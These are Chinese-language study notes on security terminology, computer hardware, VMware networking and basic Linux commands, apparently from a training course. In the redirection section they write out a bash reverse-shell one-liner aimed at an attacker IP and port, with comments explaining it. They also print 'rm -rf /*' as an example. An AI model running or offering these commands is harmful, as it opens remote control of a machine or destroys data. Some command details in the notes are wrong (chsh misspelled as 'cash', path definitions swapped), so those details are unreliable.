一、网络安全概念及法规
网络安全:网络空间安全 cyber security
信息系统:由计算机硬件、网络和通信设备、计算机软件、信息资源、信息用户和规章制度组成的已处理信息流为目的的人机一体化系统
信息系统安全三要素(CIA)
- 保密性(confidentiality)
- 完整性(integrity)
- 可用性(availability)
其他:
- 抗抵赖性
- 可控性
- 真实性、时效性、合规性、公平性、可靠性、隐私性
网络空间安全
包括国家安全、城市安全、经济安全、社会安全、生产安全、人身安全等在内的"大安全"
网络空间安全管理流程
1、确定网络信息安全管理对象
2、评估网络信息安全管理对象的价值
3、识别网络信息安全管理对象的威胁
4、识别网络信息安全管理对象的脆弱性
5、确定网络信息安全管理对象的风险级别
6、制定网络信息安全防范体系及防范措施
7、实施和落实网络信息安全防范措施
8、运行/维护网络信息安全设备、配置
1.2、网络安全常用术语
黑客(hacker):对计算机技术非常擅长的人,窃取数据、破坏计算机系统的人
脚本小子:刚刚入行安全行业,学习了一些技术,只会使用现成的工具或者从网上复制代码,非褒义
白帽子:白帽子是正义的,一般道德感比较强,目的是帮助企业发现漏洞并且上报给企业,帮助其解决风险问题;例如:360补天、漏洞盒子、CNVD、CNNVD
红帽黑客:有正义感,爱国的黑客,利用技术维护国家网络安全,并对外来的攻击进行反击
漏洞:vulnerability,漏洞指的是硬件、软协议等等存在的安全缺陷
POC: proof of concept ,能证明漏洞存在的代码
exp:exploit 利用,执行了这一段代码后,就能够达到攻击的目的,
payload:攻击载荷,即为了实现具体的攻击需要输入的代码内容,exploit是利用漏洞的一个过程和方法,最终的目的是为了执行payload(攻击代码)
0day:使用量非常大的通用产品漏洞已经被发现但还未被公开,官方还没有发布补丁或者修复方法的漏洞
1day:漏洞的poc和exp已经被公开,但很多人还来不及修复,即1day漏洞
nday漏洞: 指已经发布官方补丁的漏洞,并且时间已经过去很久的漏洞
漏扫:即基于数据库对漏洞进行自动化扫描
补丁:patch,漏洞的修复程序
渗透:penetration,黑客入侵了网站或者计算机系统,获取到控制计算机权限的过程
渗透测试:penetration test,用黑客入侵的方式对系统进行安全测试,目的是找出和修复安全漏洞,在这个过程中不会影响系统的正常运行,也不会破坏数据
木马:trojan horse,隐藏在计算机中的恶意程序
病毒:virus,恶意代码或程序
杀毒软件:瑞星、江民、金山、国外的诺顿、卡巴斯基、Mcafee,360
免杀:绕过杀毒软件
肉鸡:已经被黑客获得控制权限的机器,可能是个人电脑也可能是企业或者政府单位的服务器,通常情况下因为使用者并不可能知道已经被入侵,所以黑客可能长期获得控制和权限
抓鸡:利用出现频率非常高的漏洞(例如log4j,永恒之蓝),使用自动化方式获取肉鸡的行为
跳板机:黑客为了防止被追溯到身份,一般都不会用自己的电脑发动攻击,而是利用获取的肉鸡来攻击其他目标,这个肉鸡就充当了一个跳板的角色
DDOS:Distributed Denial of Service,分布式拒绝服务攻击,例如发起大量的恶意请求,导致正常用户无法访问
后门:backdoor,黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个"入口"
中间人攻击:man-in-the-middle attack,MITM攻击,指运行中间服务器,拦截并篡改数据
网络钓鱼:钓鱼网站指的是冒充的网站,用来窃取用户的账号和密码
webshell:shell是一种命令执行工具,可以对计算机进行控制;webshell就是asp、php、jsp之外的web代码文件,通过这些代码文件可以执行任意的命令,对计算机对任意操作
webshell分类:小马、一句话代码、大马
getshell:获得命令执行环境的操作,例如:redis的持久化功能,mysql的写文件功能,mysql的日志记录功能,上传功能,数据备份功能、编辑器等
提权:权限提升,privilege escalation,即普通用户权限,把自己提升为管理源权限的操作
拿站:指得到一个网站的最高权限,即得到后台和管理员名字和密码
拖库(脱裤):指网站被入侵后,黑客把全部的数据都导出,窃取到了数据文件、
撞库:用获取的裤子去批量登录其他网站
旁站入侵:入侵同服务器的其他网站
横向移动:攻击者入侵一台服务器成功以后,基于内部网络,继续入侵同网段的其他机器
代理:proxy,帮我们发起网络请求的一台服务器
VPN:Virtual Private Network,代理;加密通信;办公,在家里可以连接到公司内网
蜜罐:honeypot,吸引攻击者攻击的伪装系统,用来实现追溯和反制
沙箱:sandbox,沙箱是一种按照安全策略限制程序行为的执行环境,就算有恶意代码,也只能影响沙箱环境而不会影响到操作系统
靶场:模拟的有漏洞的环境;可以是网站、容器、操作系统
类型
- web综合靶场:DVWA、pikachu、bwapp
- web专用靶场:sqli-labs、upload-labs、xss-labs
- 漏洞复现靶场:CVE-44228
- 操作系统靶场:如vulnhub靶场
- CTF靶场:专门用来练习CTF题目,每个人都有一个独立的环境
堡垒机:跳板机:jumpserver,运维审计系统:管理资源,审批,审计,访问控制,事件记录
WAF:Web Application Firewall:web应用防火墙,对HTTP/HTTPS的流量内容进行分析,拦截恶意攻击行为
APT:Advanced Persistent Threat,APT攻击,高级可持续威胁攻击,指某组织在网络上对特定的对象展开的持续有效的攻击活动,
护网(HVV):国家组织牵头组织事业单位,国企单位,名企单位等,开展的攻防两方的网络安全演习
CTF:Capture The Flag 夺旗赛,起源于1996年DEFCON全球黑客大会,解出题目,获得flag,就可以得分;是一种何可技术竞赛,解题形式是:jeopardy,攻防形式
Attack-Defense;方向:Reverse、Pwn、Web、Crypto、Misc、Mobile;
CVE:Common Vulnerabilities and Exposures ,即通用漏洞纰漏;例如:CVE-2021-44228,https://www.cve.org/
CNVD:国家信息安全漏洞共享平台:https://www.cnvd.org.cn/;国家计算机应急响应中心CNCERT维护,https://www.cert.org.cn/publish/main/index.html
应急响应:一个公司为了应对各种安全事件所作的准备和事后采取的措施
SRC:Security Response Center ,即企业的应急响应中心,http://0xsafe.org/
公益SRC:https://www.vulbox.com/;https://src.sjtu.edu.cn/
网络空间测绘:网空间资源收录;网络空间搜索引擎:WWW.shodan.io\fofa.so\www.zoomeye.org
ATT&CK:Adversarial Tactics, Techniques, and Common Knowledge,对抗战术、技术和通用知识,攻击者技术的知识库;Mitre,风险分析模型:收集威胁情报,模拟APT攻击
逆向:reverse,把程序还原为源代码,分析程序的运行过程
DEVOPS:Development +Operations,开发测试运维一体化
CICD:包括:持续集成、持续交付、持续部署;具体技术:GIT代码管理、Jenkins版本管理,代码扫描、自动化测试
Devsecops:Development + Security + Operations ,安全开发与运维
等保:网络安全等级保护,要求相关行业的单位和公司的信息系统必须进行定级,然后在公安机关备案,然后建设整改,由测评机构评级,并且持续维护和监督
二、Linux系统
1、计算机体系结构
冯·诺依曼体系结构
1、计算机硬件组成
(1、计算机组成
- 台式硬件(内部)
- 台式硬件(外部)
CPU
Central Processing Unit(中央处理器/处理器) ,又叫微处理器
常见的电脑处理器:intel奔腾8086,酷睿i5、i7、i9;AMD锐龙
常见的手机处理器:高通 骁龙系列、苹果 A系列、海思麒麟系列、联发科 天玑系列
-
- cpu本质(计算机的大脑)
是一个高精度大规模的集成电路
控制单元(Control Unit):用来完成数据处理整个过程中的调配工作(发号施令)
算数逻辑单元ALU(Arithmetic Logic Unit):完成各个指令以便得到程序最终想要的结果(打工人)
存储单元:负责存储原始数据以及运算结果(临时仓库)
-
- 芯片和CPU的关系
芯片的种类很多,CPU芯片是其中一种最常见和最重要的部分
其他还有GPU(图形处理单元)、NPU(神经网络处理单元)、FPGA(现场可编程门),他们的数据类型和使用的场景不同
-
- CPU重要参数
-
- 核心数:物理核心数,cpu处理数据的大单位(如果说一个cpu是一个银行网点的话,核心数就是柜台数),一般来说核心数越多,效率越高
- 线程:超线程技术,逻辑处理器。虚拟出来的cpu核心数(相当于一个柜员同时办理两个业务,一个内核虚拟出多个核心,如:利用cpu在工作等待的空闲时间处理其他数据)
- 频率:工作频率,1秒种产生的脉冲信号。一个脉冲信号可以执行一个指令,一般来说越高表示效率越高
- 32位和64位:CPU一次能处理的位数。64位CPU可以向下兼容;32位CPU理论上能够支持最大的内存为4G,64位理论上能够支持的最大内存位16EB
- cpu指令集和架构
- 指令是用来控制硬件的,经过编译后为0101的电信号
- 复杂指令集:每个指令做复杂动作,完成操作需要较少的指令,但很庞大;代表:Intel X86;一般用于:PC领域,笔记本等
- 精简指令集:每个指令做简单动作,完成操作需要很多指令,灵活;代表:ARM、RISC-V、MIPS;一般用于:移动领域,手机平板等
内存
-
- 作用:
- 临时存储CPU运算的数据;
- CPU无法直接读取硬盘,可先将硬盘数据加载到内存,再 由 CPU读取
- 内存和存储空间
运行内存:RAM(Random Access Memory)
存储空间:ROM(Read Only Memory)
-
- 内存的工作频率
SDRAM: 100 133 166 200
DDR: 200 266 333 400
DDR2: 400 533 667 800 1066
DDR3: 800 1066 1333 1600 1866 2133
DDR4: 2133 2400 2666 3200
DDR5:4800 5200 5600 ....
硬盘
外部存储器,不能由CPU直接读取,分为固态硬盘和机械硬盘,固态硬盘比机械硬盘的速度快很多
硬盘和内存的区别:
-
- 读写速度:内存的访问速度是外存方位速度的几个数量级倍数
- 作用:内存中的数据是让CPU直接读取的,硬盘的数据是当前不用的数据,CPU要使用需要先把硬盘中的数据加载到内存然后使用
- 持久存储:内存数据关机即消失,不能持续存储
2、程序运行原理
(1)二进制
电脑的底层逻辑是集成电路,所以使用二进制代表高低电压来对数据进行处理
(2)编程语言
机器语言:就是二进制代码语言,不需要任何翻译就可以直接被计算机读取,如:01010101
汇编语言:用英文字母或符号串来替代操作,通过编译器将汇编语言翻译成机器能看懂的语言;但是对机器的依赖很高,如:
LOAD A
ADD B
STORE C
高级编程语言:贴近自然语言,不直接操作硬件,可移植如:C=A+B
从源代码到可执行程序
低级编程语言比较复杂,但是由于直接操作硬件所以运行效率比较高
高级编程语言不直接操作硬件,所以效率不是很高
为什么需要操作系统
- 提供API,屏蔽硬件差异
- 协调系统资源
- 提供图形界面,不用输入指令操作更加简单
总结:
3、操作系统
(1)个人电脑操作系统
(2)服务器操作系统
- 软件架构
- C/S架构:Client/Server
- 客户端:qq、百度网盘、游戏等
- 特点:需要安装和升级,占用资源较多,性能高
- B/S架构:Browser/server
- 浏览器
- 站点:百度、知乎等
- 特点:不用安装维护,跨操作系统、占用资源低
- C/S架构:Client/Server
目前很多软件既支持C/S,也支持B/S,甚至还支持小程序
- 服务器的组成部分
- 服务器硬件
- 服务器操作系统
Windows Server系列
Linux系列:Redhat、CentOS、Debian、Ubuntu
Unix系列:SUN Solaris、BSD Unix
-
- HTTP容器(web服务器)
Tomcat、Apache、Nginx、Weblogic、JBoss......
-
- 应用程序
各种编程语言开发的软件项目:Java、PHP、C、Python、Ruby、Go......
总结:
当我们使用一个服务时,先通过网络协议连接服务器,服务器底层是硬件,硬件上面有操作系统,操作系统上面需要先安装HTTP容器,我们的客户端线连接http容器,然后他把请求交给应用程序,其实大部分都是操作数据库
四、linux概述与安装
1、linux诞生与分支
Linux is not UNIX
linux和unix的区别:
- Linux是开源的,unix是闭源的
- unix对硬件平台的兼容性比较小
linux分支
2、 linux的内核和发行版本
内核:设备驱动、文件系统、进程管理、网络通信;https://www.kernel.o
内核版本号:
Linux 3.10.0-514.el7.x86_64
Linux 内核名
第一个组数字:3, 主版本号
第二个组数字:10, 次版本号,当前为稳定版本
第三个组数字:0, 修订版本号
第四个组数字:514,表示发行版本的补丁版本
el7:则表示正在使用的内核是 RedHat / CentOS 系列发
行版专用内核( Red Hat Enterprise Linux)
x86_64:采用的是64位的CPU
内核漏洞
linux内核如果出现漏洞,可以只单独升级内核,
内核漏洞查询:
https://www.cvedetails.com/vulnerabilitylist/vendor_id-33/product_id-47/Linux-Linux- Kernel.html
CVE-2016-5195 DirtyCow
CVE-2022-0847 DirtyPipe
升级内核:
- https://blog.csdn.net/u013253075/article/details/119679385
- https://blog.csdn.net/alwaysbefine/article/details/108931626?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166565043716782414936681%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D\&request_id=166565043716782414936681\&biz_id=0\&utm_medium=distribute.pc_search_result.none-task-blog-2\~all\~sobaiduend\~default-1-108931626-null-null.142\^v55\^opensearch_v2,201\^v3\^control_2\&utm_term=centos7内核升级\&spm=1018.2226.3001.4187
- 发行版distribution:在内核的基础上添加和内置一些软件并发布给用户使用
3、虚拟机
虚拟机监视器通过物理机操作系统去拿物理机的硬件资源
虚拟机使用场景:
- 允许特定版本的操作系统
- 隔离物理机,测试用
- 提升资源的利用率
linux自带的虚拟化技术,kernel
3.1容器技术docker
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。
容器是完全使用沙箱机制,相互之间不会有任何接口
应用:
- 去解决很多基础环境依赖的问题
- 安装软件
- 安装操作系统
特点:开箱即用、快速部署、可移植性强(例如在不同的操作系统中都可以使用,屏蔽底层设备的差异)、环境隔离
docker是没有操作系统的,采用的是真机的内核
(3)虚拟机和docker差异
虚拟机用的是虚拟机监视器来获取硬件资源;docker使用的是容器引擎来获取硬件资源;容器启动速度和部署创建速度快;容器硬盘使用占用量小;容器性能损耗少;容器资源利用率高,单机支持上千个容器;容器的隔离性较弱;容器的安全性更弱
(4)vmware安装可能遇到的问题
未开启虚拟化:可搜索自己电脑型号,按照自己的情况开启;https://blog.csdn.net/weixin_44210782/article/details/104661303
安装虚拟机后,物理机蓝屏:软件兼容性问题,可安装最新版的vmware;https://blog.csdn.net/weixin_44210782/article/details/104661303
3.2vmware常见的基本功能
(后缀为vmx的文件是可以直接打开得到一个操作系统,可在虚拟机中直接选择文件打开;后缀为osi的文件是一个镜像是需要安装的;后缀为ova的文件,也是vmware可以直接识别打开的文件,可执行自动导入)
1、打开现有虚拟机
编辑网络:编辑-虚拟网络编辑器(用管理员身份)
2、虚拟机被锁定
3、快照和克隆
克隆
- 要得到一摸一样的操作系统时
- 担心操作系统被破坏后又要重新安装
- 虚拟机关机后右键-克隆-完整克隆-选择名称和存储路径
快照
- 右键-拍摄快照(记录当下操作系统状态)---想要回到初始状态时,右键-恢复快照
- 在开机状态下可以拍摄快照;克隆需要关机
- 适用于需要不断将系统恢复到初始状态
3.3物理机和虚拟机的文件互传
- 两边各安装一个qq,利用qq传送文件
- 物理机复制文件-虚拟机直接粘贴,需要安装虚拟机插件
- linux操作系统可用xshell连接虚拟机并传送文件(xftp组件或rz命令)
常见问题:
- 虚拟机被锁定
- 原因:启动多个vmware程序,在多个窗口打开一个虚拟机
- 解决办法:找到原来的窗口,或删除虚拟机目录下所有的.lck文件和点.lck目录
- 重启或合上屏幕后虚拟机连不上了
- 在网络适配器中,禁用vmnet8,再启用
- 可以做成脚本,右键管理员运行
3.4wmware网络模式
基础知识:网卡、路由器、交换机
虚拟交换机:让相同模式的虚拟机相互连接
虚拟网卡:让主机和虚拟机相互连接
桥接模式:
- 通信方式
1、虚拟机通过连接到虚拟机交换机,利用虚拟网桥连接到主机的网卡
2、它不需要用到虚拟网卡,所以没有VMware network adapter vmnet0
- 特点
1、物理机和虚拟机地位平等
2、虚拟机占用一个独立的ip
3、使用物理机的网卡访问互联网
- 配置
虚拟机ip网段和主机一致
- 连接情况
1、主机和虚拟机可以访问
2、虚拟机之间可以互相访问
3、可以访问互联网
4、其他主机可以访问本虚拟机
- 使用场景
创建一个虚拟服务器在内网提供网络服务
NAT模式
- 通信方式
1、虚拟NAT设备(虚拟路由)连接到vmnet8虚拟交换机------虚拟机联网用
2、主机通过VMware network adapter vmnet8虚拟网卡连接到vmnet8虚拟交换机------主机和虚拟机连接用
- 特点
1、虚拟机在外部网络中没有自己的IP地址
2、虚拟NAT设备会把专用网络中的IP地址转换为主机系统的IP地址------网络地址转换
3、主机可以联网,虚拟机就可以联网
- 配置
无需配置,默认为NAT模式连接
- 通信情况
- 主机和虚拟机可以访问
- 虚拟机之间可以互相访问
- 可以访问互联网
- 本机虚拟机可以访问其他主机
- 其他主机不能访问本机虚拟机,解决办法:共享网络、端口映射
- 使用场景
大部分情况
- 如果修改实体机的VMware Network Adapter VMnet8的ip地址,使这修改后与虚拟机不在同一网段,那么虚拟机可以ping通实体机,但是实体机不能ping通虚拟机,因为虚拟机ping的时候用到了Nat的ip地址转换,
实质上是主机网卡ping主机的VMware Network Adapter VMnet8虚拟网卡
- 如果修改了虚拟机的ip地址,修改后虚拟机ip与dhcp服务器不在同一网段的ip地址,那么就ping不通主机的VMware Network Adapter VMnet8的ip地址,因为此时虽然他们处在同一个交换机下但没在同一网段;
但是是可以上网的,也可以ping通主机的主机网卡ip地址
仅主机模式
- 通信方式
主机使用VMware network vmnet1虚拟网卡连接到vmnet1虚拟交换机
- 特点
没有NAT设备(虚拟路由),所以不能上网
- 配置
无
- 连通情况
- 主机和虚拟机可以访问
- 虚拟机之间可以互相访问
- 不能访问互联网
- 不能访问其他主机
- 其他主机不能访问本虚拟机
- 使用场景
创建一个与其他机器隔离的网络
总结:
- 即桥接模式是虚拟机拥有一个独立的ip,与主机的地位是相同的,使用的是主机的网卡,可以连接别的主机和虚拟机;
- NAT模式是使用NAT设备、虚拟网卡连接主机网卡上网和连接主机的,主机相当于他的代理,它通过主机连接其他主机,即网络地址转换,其他主机无法连接虚拟机,因为虚拟机没有自己的独立ip,是躲在主机后面的,
- 仅主机模式,不能上外网因为没有NAT 设备连接主机网卡;不能访问其他主机因为没有网络地址转换;需要一个与其他主机隔离的时候使用仅主机模式
3.5vi编辑器
编辑文本文件使用的编辑器,vi和vim一脉相承,vim是进阶版
- 命令模式:只能输入命令
- 编辑模式(也叫插入模式):可以修改文本
- 低行模式:结束操作
操作流程
- vi +文件路径名,用编辑器打开文件
- 打开文件后,直接进入命令模式,无法输入文本(命令模式下退出不保存:esc------输入":"------输入"q!")
- 按下"ℹ️"进入编辑模式,直接移动鼠标输入文本内容
- 保存并退出:按下esc-输入":"------输入"wq"(小写)
问题:
- 只读权限(用su命令切换用户输入密码重新编辑)
- 临时swp文件(未保存直接关闭窗口,会留下一个临时文件,用ls -a会看到一个后缀为swp的临时文件,再次打开时会出现提示,如果不要直接删掉就可以)
3.6为centos配置静态ip
默认情况下他的ip是可以动态分配的会不断改变的,但是远程连接工具连接他是需要不断的改ip,比较麻烦,静态IP配置不是必要的
NAT模式下
步骤:
- 查看物理机ip,用cmd中命令ipconfig,查看ip地址,如果是用有线上网查看以太网的,如果用无线网,查看无线网的ip
- 虚拟机配置:
- 用网络适配器将模式改为wmnet8的模式
- 在虚拟网络编辑器中修改虚拟机网段,要有管理员权限
- 在虚拟机终端的ens33中修改ipaddr和网关的网段和当前电脑的一致
- 用vi编辑器打开ens33网卡配置文件 :vi /etc/sysconfig/network-scripts/ifcfg-ens33
ens33文件参数解释
- 改完配置文件保存后需要重启虚拟机网络,读取到内存中才能生效
service network restart
注:
- 如果修改物理机的VMware Network Adapter VMnet8的IP地址,将其修改为和虚拟机不在同一网段,那么虚拟机可以ping通物理机,但是物理机是ping不通虚拟机的,因为再虚拟机ping物理机的时候用到了nat的ip地址转换,所以相当于是主机的网卡,ping自己的虚拟网卡
- 如果修改了虚拟机的ip,将其修改为和dhcp服务器不在同一网段的IP地址,那么是ping不通主机和互联网的,因为没有在dhcp服务器ip的范围内,所以做不了ip地址转换,也没办法ping通主机,因为最终这种情况下二者不在同一网段
- nat模式下虚拟机ping不通主机而主机能ping通虚拟机问题的解决办法:https://blog.csdn.net/weixin_44976835/article/details/115279516
3、确定配置好了
- 虚拟机能连外网
- 虚拟机能连通物理机
3.7yum源
yum是centos中的一种软件管理器,通过yum安装软件,可以自动解决包依赖的问题,免去手工安装依赖包的麻烦;yum使用了一个中心仓库来记录和管理软件的依赖关系,叫做centos官方yum源
1、备份官方yum源配置文件
官方yum源配置文件在:/etc/yum.repos.d/CentOS-Base.repo
2、下载阿里云源配置,覆盖原文件(使用curl -o)
3、清理缓存并生成新的缓存
命令:yum clean all(清除缓存)
yum makecache(生成新的缓存)
五、linux操作系统的基础命令
- 内核
- shell
- 文件系统
- 应用程序
- linux shell
(1)接收用户的命令,经过转换,交给内核去执行
cat➡️open()read()
- 简化操作
- 保证操作系统的安全
- 每一个linux发行版本都会自带一个或多个shell工具
(2)shell工具查看与切换相关linux命令:
- 查看当前用户使用的shell工具:echo $shell
- 查看当前系统的所有shell工具:cat /etc/shells
- 查看当前用户可使用的shell工具:cash -l
- 切换当前用户的shell工具:cash -s 【+shell工具】
(3)知名shell工具:
(4)shell和terminal
(5)shell编程/shell脚本(.sh)
将各类命令与先放在一个文件中,方便一次性执行的一个程序文件
2、Linux文件系统
"一切皆文件"
常用文件操作命令
(1)linux目录
根目录或目录分隔符:/ ;
颜色含义:
蓝色:目录;绿色:可执行文件;红色:压缩文件;浅蓝色:链接文件;白色:其他文件;xxx是设备文件,包括block、char、fifo
根目录文件:
用户主目录:当前用户自己的目录,除了root用户和自己别人无法访问
- root用户的主目录是/root
- 其他用户的主目录是/home/用户名
- cd 空格或cd~,会直接回到当前用户自己的主目录
工作目录:命令当前所处的目录
目录指代
可以同时拼接多个命令:例如:cd ramd/;ls 即切换到该目录下并查看当前目录下文件;cd ../../切换到上两层目录
3、Linux常用操作
(1)命令帮助
man command--具体参数和使用方法
whatis command__命令的简要说明
info command--详细介绍
help command-- Linux内置命令
(2)关机重启(root用户)
关机:poweroff;shutdown -h now;halt -p
重启:reboot
(3)快捷键和命令
(4)别名配置alias
查看别名:alias
设置别名(以bash为例):vi ~/.bashrc
格式:alias 命令="xxx;xxx"
例如此处要重启网络可设置:alias res='service network restart'
生效:source ~/.bashrc
取消别名unalias 别名名称,例如上述res命令取消别名:unalias res即可
(5)通配符
若想让以上符号表示他本身的意思而非通配符含义,则将其前面加上\
例如,要查找名为*a的文件,则find -name "\*a"
(6)系统的环境变量
查看全部变量:env
查看单个变量:echo $xxx
用户变量;~/.bashrc
系统变量:/etc/profile
4、文件描述符和重定向
(1)文件描述符和重定向
重定向:
改变输入输出的方向
比如将本来显示在显示器上的数据输入到文件中;>是覆盖,>>是追加
输出重定向
- 标准输出重定向
[root@localhost ~]# ls
anaconda-ks.cfg a.txt Desktop Documents Downloads initial-setup-ks.cfg Music original-ks.cfg Pictures Public Templates Videos
[root@localhost ~]# ls >a.txt
[root@localhost ~]# cat a.txt
anaconda-ks.cfg
a.txt
Desktop
Documents
Downloads
initial-setup-ks.cfg
Music
original-ks.cfg
Pictures
Public
Templates
Videos
- 标准错误输出重定向(其中的2不可省略)
[root@localhost ~]# find / -name"aaa" 2>err.txt
[root@localhost ~]# cat err.txt
find: unknown predicate `-nameaaa'
#find / -name"aaa" 2>/dev/null,将错误输出结果不输出在文件里也不输出的显示屏上,即将其过滤掉
- 输入和错误重定向,即将两种重定向结果都输入到某一位置
输入重定向
-
统计某文件的行数
[root@localhost ~]# cat a.txt
anaconda-ks.cfg
a.txt
Desktop
Documents
Downloads
initial-setup-ks.cfg
Music
original-ks.cfg
Pictures
Public
Templates
Videos
[root@localhost ~]# wc -l<a.txt
12
[root@localhost ~]# -
统计用户在终端输入的文本的行数
[root@localhost ~]# wc -l<<END #遇到END即停止
w
w
w
w
e
END
5 -
综合练习:bash反弹连接案例
命令:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1#bash -i 在靶机打开交互式的Shell
#/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口
#>& 和 &>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机------接收结果用。
#0>&1,左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出------接收命令用。
#所以,靶机的输入输出都到了攻击机上。
5、文件和目录管理
(1)常规命令格式
命令 选项 参数 :rm -rf /*
选项:命令的行为方式;参数:命令的对象
- 规范
- 命令、选项和参数之间有空格
- 命令是绝对不能省略的
- Linux是区分大小写的
- 大部分情况下多个选项的顺序和是否拆分是没有影响的
命令选项参考资料:
https://wangchujiang.com/linux-command
(2)文件和目录管理
-
列出目录内容和属性 ls
[root@localhost ~]# ls
anaconda-ks.cfg a.txt Desktop Documents Downloads err.txt initial-setup-ks.cfg Music original-ks.cfg Pictures Public Templates Videos wc
#全拼 list
#格式:ls 选项 文件名
#ll 即ls -i,即输出文件和他有关的所有信息,例如所有者,组名,文件大小等
#例如:ls -a -- 查看所有文件包括隐藏文件
ll --block-size=M --给文件大小转换单位[root@localhost ~]# pwd
/root
#全拼 print working directory
#格式:pwd -
切换工作目录 cd
[root@localhost ~]# cd Music/
[root@localhost Music]#
#全拼change directory
#格式:cd相对路径或绝对路径相对路径:由根目录/开始写起
绝对路径:从当前工作目录开始写起
/:根目录
. :当前目录
~:用户工作目录
../ :上一级目录
../../:上上一级目录,以此类推,超出范围的时候代表根目录
查看文件类型file
[root@localhost ~]# file Music/
Music/: directory
#格式:file 选项 文件或目录
#file -i 文件名 -
复制文件或目录
[root@localhost ~]# cp a.txt Music/c.txt
[root@localhost ~]# cd Music/
[root@localhost Music]# ls
c.txt
#全拼:copy
#格式:cp 选项 源文件 目标文件 (可带路径)
#-r/R递归处理,将指定目录下的所有文件与子目录一并处理
#-f:强制复制文件或目录,不论目标文件或目录是否已存在
#若使用cp 的-f选项后任然提示是否覆盖,查看别名中是否有 alias cp='cp -i'
#-i:如果复制的目标文件存在 会给你提示是否要覆盖 -
查找文件或目录
#格式:find 目录 选项 名字或模式#-name 名字 ,按照名字查找
[root@localhost ~]# find /root -name "Music"
/root/Music#-type 按照类型参数查找
#f为普通文件,d是目录
[root@localhost ~]# find /root -type f
/root/.bash_logout
/root/.bash_profile#-size 按照大小查找
[root@localhost ~]# find /root -type f -size 1M
/root/.bash_logout
/root/.bash_profile#-exec command
#把find找到的内容作为命令的参数去执行,-exec参数后面跟的是command命令,他的终止是以;为结束标志的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
#{}就是找到的内容
find . -name "*.txt" -exec rm -rf {} ;
#-atime:在过去n天内被读取过的文件
#-ctime:在过去n天内被修改过的文件
#-cmin:在过去n分钟内修改过的文件
#其他命令:
#whereis 查找二进制程序、代码等相关文件路径
#which:查找并显示给定命令的绝对路径
#locate:updatedb程序每天会跑一次,建立文件索引,locate 读取一个或多个由 updatedb 更新的数据库,并将至少与 PATTERN 之一匹配的文件名写入标准输出,每行一个
[root@localhost ~]# locate aaa
/usr/share/man/man3/ldns_rdf2buffer_str_aaaa.3.gz
/var/cache/fontconfig/614d1caaa4d7914789410f6367de37ca-le64.cache-4
/var/cache/fontconfig/b79f3aaa7d385a141ab53ec885cc22a8-le64.cache-4
/var/cache/yum/x86_64/7/mysql-tools-community/fd38dce5051dc3cb2a83cb5aaa1bfd26d52ec3ec-primary.sqlite.bz
-
创建目录mkdir
[root@localhost test]# mkdir -p aa/bb/cc
[root@localhost ~]# cd test/aa/bb/cc
[root@localhost cc]# pwd
/root/test/aa/bb/cc
#全拼:make direcotry
#格式:mkdir 选项 目录名
#mkdir不加选项即在当前目录下创建目录,若想要一次创建多层互相嵌套的目录则加选项-p -
移动或重命名一个文件mv
[root@localhost aa]# mv dd ../xx
[root@localhost aa]# ls
bb
[root@localhost aa]# cd ..
[root@localhost test]# ls
aa xx
[root@localhost test]#
#全拼move
#格式:mv 选项 原文件 新文件
#mv+原文件+路径为移动;mv+原文件+新文件为重命名
#mv+源文件+路径/新文件名 为移动并修改文件名 -
删除文件rm
#全拼remove
#rm 选项 (多个文件)
[root@localhost test]# rm 1.txt 2.txt#-r:删除目录(有内容的,递归删除其下所有的文件和文件夹);-f:强制删除
[root@localhost test]# rm -fr xx#删除空目录
[root@localhost test]# rmdir xx -
创建空文件touch
[root@localhost test]# touch aa
#touch +文件名
#如果一个文件存在依然新建文件,那么之前的文件及其内容不会改变,但时间戳会被修改
6、挂载和链接
- 为什么要挂载u盘
因为Linux将所有的硬件设备都当做文件来处理,因此当使用光驱等硬件设备时,必须将其挂载到系统中,只有这样Linux才能识别。
-
- /mnt目录存放手动挂载的硬件
- /media目录存放自动挂载的硬件(载点都是由系统自动建立和删除的)
- /dev不是存放设备的驱动程序,而是作为访问外部设备文件的接口,比如u盘
- 查看u盘所在位置
-
查看系统硬盘和分区情况,查看usb磁盘设配是否被正常识别
#使用fdisk -l可以查看硬盘分区情况
#而仅查看u盘设备所在分区,可以直接使用以下命令
[root@localhost ~]# fdisk -l | grep FA
/dev/sdb1 32 60063743 30031856 7 HPFS/NTFS/exFAT#u盘在/dev/sdb1
- 此时u盘已被系统识别但是不能直接访问,因为她是一个块类型的文件,在linux系统中是无法访问的。必须将其通过mount命令挂载到文件目录中进行访问
补充 :
2、创建一个挂载点。挂载点必须是一个目录,这个目录可以不为空,但是挂载这个目录下的之前的内容将不可用,umount后会恢复;目录usb作为挂载点,
mkdir /root/usb
3、挂载exfat的u盘
mount /dev/sdb1 /root/usb
- entos7挂载exfat格式硬盘失败问题:
exFAT (Extended File Allocation Table) 是一个微软为闪存设备例如 SD 卡和 USB 可移动磁盘优化的专利文件系统。它被设计为替换存储单个文件不能超过 4G 的老旧的 32 位 FAT32 文件系统。exFAT 文件系统被最新的 Windows 和 macOS 操作系统所支持。CentOS,默认不支持有专利的 exFAT 文件系统。所以想在在cetos上挂载exfat格式硬盘,需要安装FUSE exFAT 模块和工具,它们给 Unix-like 的系统提供了一个完整特性的 exFAT 文件系统实现。
NUx源以来EPEL软件源,如果不可用需要先启动它
sudo yum install epel-release
接着导入GPG key 并安装rpm包启动nux软件源:
sudo rpm -v --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-5.el7.nux.noarch.rpm
源仓库安装完成后,安装exfat-fuse和exfat-utils软件包
sudo yum install exfat-utils fuse-exfat
4、卸载;直接使用umount命令+需要卸载的u盘即可
(4)链接
全拼:link
格式:ln 源文件 链接文件
- 硬链接和软连接
- 硬链接:相当于和源文件一样,修改硬链接源文件也会被修改,但是删除硬链接源文件不会受到影响
- 用户是不能给目录创建硬链接的
- 只有相同的文件系统才可以创建硬链接(tmpfs、NTFS、FAT32)
